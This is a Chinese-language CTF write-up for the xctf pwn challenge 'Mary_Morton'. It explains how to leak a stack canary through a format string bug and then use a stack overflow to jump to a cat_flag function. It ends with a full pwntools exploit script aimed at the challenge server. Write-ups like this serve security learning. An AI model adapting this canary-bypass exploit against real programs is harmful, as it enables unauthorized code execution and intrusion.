欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Mary_Morton(xctf)

程序员文章站 2022-05-15 20:25:47
...

程序保护和流程

保护:

Mary_Morton(xctf)

流程:

main()

Mary_Morton(xctf)
Mary_Morton(xctf)
如果输入1会进入

Mary_Morton(xctf)

这个函数有一个栈溢出漏洞。

如果输入2会进入

Mary_Morton(xctf)

这个函数有一个格式化字符串漏洞。

还有一个cat_flag的函数

Mary_Morton(xctf)

0x1 利用过程

首先这个程序开启了canary,所以直接栈溢出会报错。但是我们知道v2变量中存放的是canary值(v2在函数开始时就被**__readfsqword(0x28u)赋值,函数结束前与__readfsqword(0x28u)**进行比较),如果我们能通过格式化字符串漏洞将v2的值泄露出来就可以利用栈溢出漏洞。首先先确定偏移量。

Mary_Morton(xctf)

偏移量为6的位置是格式化字符串漏洞这个函数的栈的开始位置,而开始位置距离与v2的距离为0x88。所以当格式化字符串构造成**%(6+0x88/8)p**的时候就会将v2这个地址中的值已十六进制的形式输出出来。之后就可以绕过canary获得flag了。

0x02 exp

from pwn import *
sh=remote('220.249.52.133','45164')
#sh=process('./a')
cat_flag=0x4008DA
offset=6
sh.recvuntil('3. Exit the battle \n')
sh.sendline('2')
payload='%{}$p'.format(offset+0x88/8)
sh.sendline(payload)
sh.recvuntil("0x")
canary_addr=int(sh.recv(16), 16)
sh.recvuntil('3. Exit the battle \n')
sh.sendline('1')
payload='a'*0x88+p64(canary_addr)+'a'*8+p64(cat_flag)
sh.sendline(payload)
sh.interactive()
相关标签: xctf(pwn高手区)